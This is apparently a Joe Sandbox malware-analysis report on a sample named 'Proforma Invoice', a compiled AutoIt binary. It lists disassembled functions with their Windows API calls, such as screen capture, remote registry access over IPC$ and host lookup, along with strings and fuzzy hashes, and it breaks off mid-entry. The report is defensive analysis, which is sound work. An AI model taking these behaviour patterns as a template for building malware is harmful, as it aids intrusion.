Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: c8921add34e1c8ee5bfbd6ab714a039cad0d254208a3764d88232272ef5c4059
Instruction ID: f1d8dd077a9b808c116357b37667cde8d83c6dc54ae7e627b9b57b0175ac6bc0
Opcode Fuzzy Hash: c8921add34e1c8ee5bfbd6ab714a039cad0d254208a3764d88232272ef5c4059
Instruction Fuzzy Hash: 6C81BE702083619FD721DF14E994A6FBBE8FF98314F104A2EF99597291C738D905CBA2

Function 0071731A Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0071738F
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 0071739B
CreateCompatibleDC.GDI32(?), ref: 007173A7
SelectObject.GDI32(00000000,?), ref: 007173B4
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00717408
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00717444
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00717468
SelectObject.GDI32(00000006,?), ref: 00717470
DeleteObject.GDI32(?), ref: 00717479
DeleteDC.GDI32(00000006), ref: 00717480
ReleaseDC.USER32(00000000,?), ref: 0071748B

Strings

(, xrefs: 00717410

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: d8c4905785cb66f646b32d4179b1e6228c7fca0c33cd4cadda68871607d54af2
Instruction ID: 363277380ff3d1f101beda1af65204ae2e8d344e8d658200347d29a442d51c10
Opcode Fuzzy Hash: d8c4905785cb66f646b32d4179b1e6228c7fca0c33cd4cadda68871607d54af2
Instruction Fuzzy Hash: B5516A71904349EFCB25CFA8CC84EAEBBB9EF48310F14842DF95A97250C735A841CB54

Function 006A6A8C Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 006C0957: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,006A6B0C,?,00008000), ref: 006C0973

Part of subcall function 006A4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,006A4743,?,?,006A37AE,?), ref: 006A4770

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 006A6BAD
SetCurrentDirectoryW.KERNEL32(?), ref: 006A6CFA

Part of subcall function 006A586D: _wcscpy.LIBCMT ref: 006A58A5

Part of subcall function 006C363D: _iswctype.LIBCMT ref: 006C3645

Strings

EA06, xrefs: 006DE452
Error opening the file, xrefs: 006DE43D, 006DE4B8
Unterminated string, xrefs: 006DE7E4
Bad directive syntax error, xrefs: 006DE79D
#include depth exceeded. Make sure there are no recursive includes, xrefs: 006DE421
>>>AUTOIT SCRIPT<<<, xrefs: 006DE496
AU3!, xrefs: 006A6B61

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-1018226102
Opcode ID: 990bdd1cdc5c0148c822084cceb1b07e881d3177bf34a8e7566c4b9cc8e275d9
Instruction ID: fdfc4a12e5d9d7444edb6e681a42835493beed7d98af650446831485f3360f5b
Opcode Fuzzy Hash: 990bdd1cdc5c0148c822084cceb1b07e881d3177bf34a8e7566c4b9cc8e275d9
Instruction Fuzzy Hash: 660288705083409FC764FF20C881AAFBBE6AF9A354F04491EF486972A2DB31DD49CB56

Function 00702D36 Relevance: 19.7, APIs: 13, Instructions: 214windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00702D50
GetMenuItemInfoW.USER32(00000000,00000007,00000000,00000030), ref: 00702DDD
GetMenuItemCount.USER32(00765890), ref: 00702E66
DeleteMenu.USER32(00765890,00000005,00000000,000000F5,?,?), ref: 00702EF6
DeleteMenu.USER32(00765890,00000004,00000000), ref: 00702EFE
DeleteMenu.USER32(00765890,00000006,00000000), ref: 00702F06
DeleteMenu.USER32(00765890,00000003,00000000), ref: 00702F0E
GetMenuItemCount.USER32(00765890), ref: 00702F16
SetMenuItemInfoW.USER32(00765890,00000004,00000000,00000030), ref: 00702F4C
GetCursorPos.USER32(?), ref: 00702F56
SetForegroundWindow.USER32(00000000), ref: 00702F5F
TrackPopupMenuEx.USER32(00765890,00000000,?,00000000,00000000,00000000), ref: 00702F72
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00702F7E

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 3993528054-0
Opcode ID: c1df41ab55e33f547ccf7a1f88170142a3dc24943c2ef266b99a716a884c9718
Instruction ID: b7d16bf9c12fbd73cd9d45e90cef684a8b478faa41f16487cab56749e2051325
Opcode Fuzzy Hash: c1df41ab55e33f547ccf7a1f88170142a3dc24943c2ef266b99a716a884c9718
Instruction Fuzzy Hash: 3F71D372640205FAEB218F54DC8DFAABFA4FF04754F104326F615A61E2C7B96C22D794

Function 007188AB Relevance: 19.6, APIs: 10, Strings: 1, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 007188D7
CoInitialize.OLE32(00000000), ref: 00718904
CoUninitialize.OLE32 ref: 0071890E
GetRunningObjectTable.OLE32(00000000,?), ref: 00718A0E
SetErrorMode.KERNEL32(00000001,00000029), ref: 00718B3B
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00732C0C), ref: 00718B6F
CoGetObject.OLE32(?,00000000,00732C0C,?), ref: 00718B92
SetErrorMode.KERNEL32(00000000), ref: 00718BA5
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00718C25
VariantClear.OLEAUT32(?), ref: 00718C35

Strings

,,s, xrefs: 007188C1

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID: ,,s
API String ID: 2395222682-1043017150
Opcode ID: 901b7f45bcb2fa524e1bbed7bc656d038f964692679c726bfdb6b4527222b6e2
Instruction ID: 48c8101cf247764b9327b816e6f46568353009a95c162eee5476a3c5ecc6cef7
Opcode Fuzzy Hash: 901b7f45bcb2fa524e1bbed7bc656d038f964692679c726bfdb6b4527222b6e2
Instruction Fuzzy Hash: 06C158B12083059FC740DF28C88496BB7E9FF89748F00496DF9899B291DB75ED46CB62

Function 006F77DC Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 006A7BCC: _memmove.LIBCMT ref: 006A7C06

_memset.LIBCMT ref: 006F786B
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 006F78A0
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 006F78BC
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 006F78D8
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 006F7902
CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 006F792A
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 006F7935
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 006F793A

Strings

\IPC$, xrefs: 006F7882
SOFTWARE\Classes\, xrefs: 006F780C
\CLSID, xrefs: 006F7822

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: 6fe144f2e9096ba9c0bbff610e736a78758064edcc73c9b9261a3356269b75c9
Instruction ID: 6bff47da38c8f4f158af5daeede384a6f80f91a6d8a5e7be692a5149ce357cc6
Opcode Fuzzy Hash: 6fe144f2e9096ba9c0bbff610e736a78758064edcc73c9b9261a3356269b75c9
Instruction Fuzzy Hash: 4D411972C1422DABCB25EBA4EC45DEEB77AFF08350F404429E916A3261EA745E05CF94

Function 00720E1A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,0071FDAD,?,?), ref: 00720E31

Strings

HKCR, xrefs: 00720ED9
HKEY_LOCAL_MACHINE, xrefs: 00720E9A
HKLM, xrefs: 00720EAF
HKEY_CURRENT_USER, xrefs: 00720F10
HKEY_CURRENT_CONFIG, xrefs: 00720EEE
HKCU, xrefs: 00720F21
HKCC, xrefs: 00720EFF
HKEY_USERS, xrefs: 00720F32
HKEY_CLASSES_ROOT, xrefs: 00720EC4
HKU, xrefs: 00720F43

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: 63181b4f3bd35bae8481026c3d183f66c133c28f641c4c4fd5b4daac958ecbf9
Instruction ID: 8e02a9fa83129b1d6f485196b604828f831688e5349ccd4261d2b413654beb44
Opcode Fuzzy Hash: 63181b4f3bd35bae8481026c3d183f66c133c28f641c4c4fd5b4daac958ecbf9
Instruction Fuzzy Hash: 9B41463214429ACBDF50EE50E955AEF3765EF11300F150428FC651B293DB789D2ACBE0

Function 006FF7A1 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,006DE2A0,00000010,?,Bad directive syntax error,0072F910,00000000,?,?,?,>>>AUTOIT SCRIPT<<<), ref: 006FF7C2
LoadStringW.USER32(00000000,?,006DE2A0,00000010), ref: 006FF7C9

Part of subcall function 006A7DE1: _memmove.LIBCMT ref: 006A7E22

_wprintf.LIBCMT ref: 006FF7FC
__swprintf.LIBCMT ref: 006FF81E
MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 006FF88D

Strings

Line %d (File "%s"):, xrefs: 006FF833
., xrefs: 006FF873
Line %d:, xrefs: 006FF818
%s (%d) : ==> %s.: %s %s, xrefs: 006FF7F7
Error: , xrefs: 006FF85B

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: HandleLoadMessageModuleString__swprintf_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 1506413516-4153970271
Opcode ID: ed0bf174d8dcf86a4f09f9b5b41aed5b17450b917187e81b7d9f22926335e801
Instruction ID: 56ae7a1951b28a16bba86166d2ace77ed4208395db80426f9d837b86e8a01c17
Opcode Fuzzy Hash: ed0bf174d8dcf86a4f09f9b5b41aed5b17450b917187e81b7d9f22926335e801
Instruction Fuzzy Hash: 39218E3180021DAFCF51EF90CC0AEFE773AFF18300F04446AF516661A2DA759A18CB55

Function 007052C7 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 006A7BCC: _memmove.LIBCMT ref: 006A7C06

Part of subcall function 006A7924: _memmove.LIBCMT ref: 006A79AD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00705330
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00705346
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00705357
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00705369
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 0070537A

Strings

play PlayMe, xrefs: 00705375
close PlayMe, xrefs: 00705341, 0070536E
status PlayMe mode, xrefs: 0070532B
play PlayMe wait, xrefs: 00705364
open , xrefs: 007052DF
alias PlayMe, xrefs: 00705309

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: 2e36061b2143ee6e9c5bb86c502a1da1b3ab0f9a6083783ef13cfaf54984d444
Instruction ID: 967ee6f5c62993af97d6f9fe5d872d9ff84445190f9e90a876d3f5e42bd545c1
Opcode Fuzzy Hash: 2e36061b2143ee6e9c5bb86c502a1da1b3ab0f9a6083783ef13cfaf54984d444
Instruction Fuzzy Hash: 6911B67195015D7AD7A0F6A1CC49DFFBBBCEB96B45F400429B802A20D1DEE41D09CDA5

Function 007046B7 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 007046D2
gethostname.WSOCK32(?,00000100), ref: 007046EC
gethostbyname.WSOCK32(?), ref: 007046F9
_wcscpy.LIBCMT ref: 00704721
_memmove.LIBCMT ref: 00704734
inet_ntoa.WSOCK32(?), ref: 0070473F
_strcat.LIBCMT ref: 0070474D
_wcscpy.LIBCMT ref: 00704764
WSACleanup.WSOCK32 ref: 00704772
_wcscpy.LIBCMT ref: 00704780

Strings

0.0.0.0, xrefs: 0070471B

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: 80eedc5577ccc798c93312197a3e6fdad86e49a599b956601638f0da2b22e827
Instruction ID: c70c1faa8363249be467be8af5ad759d3ec74ce62c178e4359f1df4e83e75c0a
Opcode Fuzzy Hash: 80eedc5577ccc798c93312197a3e6fdad86e49a599b956601638f0da2b22e827
Instruction Fuzzy Hash: 0F110271500114EFDB24AB70AC4AFEA77BCEF02711F0052BEF545920A1EF789A828A54

Function 00704F75 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00704F7A

Part of subcall function 006C049F: timeGetTime.WINMM(?,75C0B400,006B0E7B), ref: 006C04A3

Sleep.KERNEL32(0000000A), ref: 00704FA6
EnumThreadWindows.USER32(?,Function_00064F28,00000000), ref: 00704FCA
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00704FEC
SetActiveWindow.USER32 ref: 0070500B
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00705019
SendMessageW.USER32(00000010,00000000,00000000), ref: 00705038
Sleep.KERNEL32(000000FA), ref: 00705043
IsWindow.USER32 ref: 0070504F
EndDialog.USER32(00000000), ref: 00705060

Strings

BUTTON, xrefs: 00704FDE

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 0b2657a41fc110eacb0ef6b23d5c2a5de826c606db3665a9f570ba5673395127
Instruction ID: 7431d9aa9bf0c71a7a7d04abfa0168e1ec5d4a7e96a23f417ec30b1ea6d805a9
Opcode Fuzzy Hash: 0b2657a41fc110eacb0ef6b23d5c2a5de826c606db3665a9f570ba5673395127
Instruction Fuzzy Hash: 992192B0200705EFE7215F30EC89E2A7BA9EB09749F489134F503811F2DBAE5D619A69

Function 0070D58D Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 006A9837: __itow.LIBCMT ref: 006A9862
Part of subcall function 006A9837: __swprintf.LIBCMT ref: 006A98AC

CoInitialize.OLE32(00000000), ref: 0070D5EA
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 0070D67D
SHGetDesktopFolder.SHELL32(?), ref: 0070D691
CoCreateInstance.OLE32(00732D7C,00000000,00000001,00758C1C,?), ref: 0070D6DD
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 0070D74C
CoTaskMemFree.OLE32(?,?), ref: 0070D7A4
_memset.LIBCMT ref: 0070D7E1
SHBrowseForFolderW.SHELL32(?), ref: 0070D81D
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0070D840
CoTaskMemFree.OLE32(00000000), ref: 0070D847
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 0070D87E
CoUninitialize.OLE32(00000001,00000000), ref: 0070D880

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: 39cf1db3227ba5fab4c2ed8d305af0b1530f2c3e5cc34937f7ddb97ced9a0b66
Instruction ID: 0ee2ff5781ab74d8e5a9bf9112f8fbc433bc285d6d21d7026ba11da0fb6142e8
Opcode Fuzzy Hash: 39cf1db3227ba5fab4c2ed8d305af0b1530f2c3e5cc34937f7ddb97ced9a0b66
Instruction Fuzzy Hash: CDB12975A00209EFDB14DFA4C888DAEBBF9EF49310F108169E909EB261DB34ED41CB54

Function 006FC267 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 006FC283
GetWindowRect.USER32(00000000,?), ref: 006FC295
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 006FC2F3
GetDlgItem.USER32(?,00000002), ref: 006FC2FE
GetWindowRect.USER32(00000000,?), ref: 006FC310
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 006FC364
GetDlgItem.USER32(?,000003E9), ref: 006FC372
GetWindowRect.USER32(00000000,?), ref: 006FC383
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 006FC3C6
GetDlgItem.USER32(?,000003EA), ref: 006FC3D4
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 006FC3F1
InvalidateRect.USER32(?,00000000,00000001), ref: 006FC3FE

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 10310d98e0b7c2a670ff2af63e5d027c47c5849fabe4ea1c5d10db2a7a5ca5ab
Instruction ID: 30cf0f1bafec03cd1c9e945474357769352f3140b8a65687db301dd493ca4236
Opcode Fuzzy Hash: 10310d98e0b7c2a670ff2af63e5d027c47c5849fabe4ea1c5d10db2a7a5ca5ab
Instruction Fuzzy Hash: C6513C71B00209AFDB18CFA9DD99AAEBBBAEB88710F14813DF615D7390D7709D018B14

Function 006A201B Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 006A1B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,006A2036,?,00000000,?,?,?,?,006A16CB,00000000,?), ref: 006A1B9A

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 006A20D3
KillTimer.USER32(-00000001,?,?,?,?,006A16CB,00000000,?,?,006A1AE2,?,?), ref: 006A216E
DestroyAcceleratorTable.USER32(00000000), ref: 006DBCA6
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,006A16CB,00000000,?,?,006A1AE2,?,?), ref: 006DBCD7
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,006A16CB,00000000,?,?,006A1AE2,?,?), ref: 006DBCEE
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,006A16CB,00000000,?,?,006A1AE2,?,?), ref: 006DBD0A
DeleteObject.GDI32(00000000), ref: 006DBD1C

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: be88c43fefcfc9dfb4106830a268d22f10b5078afb57407ce75826ce5dd85d40
Instruction ID: ed47cc102980cb009983b2a2736ff5af6ce0fe371a2a67e0518c36b05e2bac45
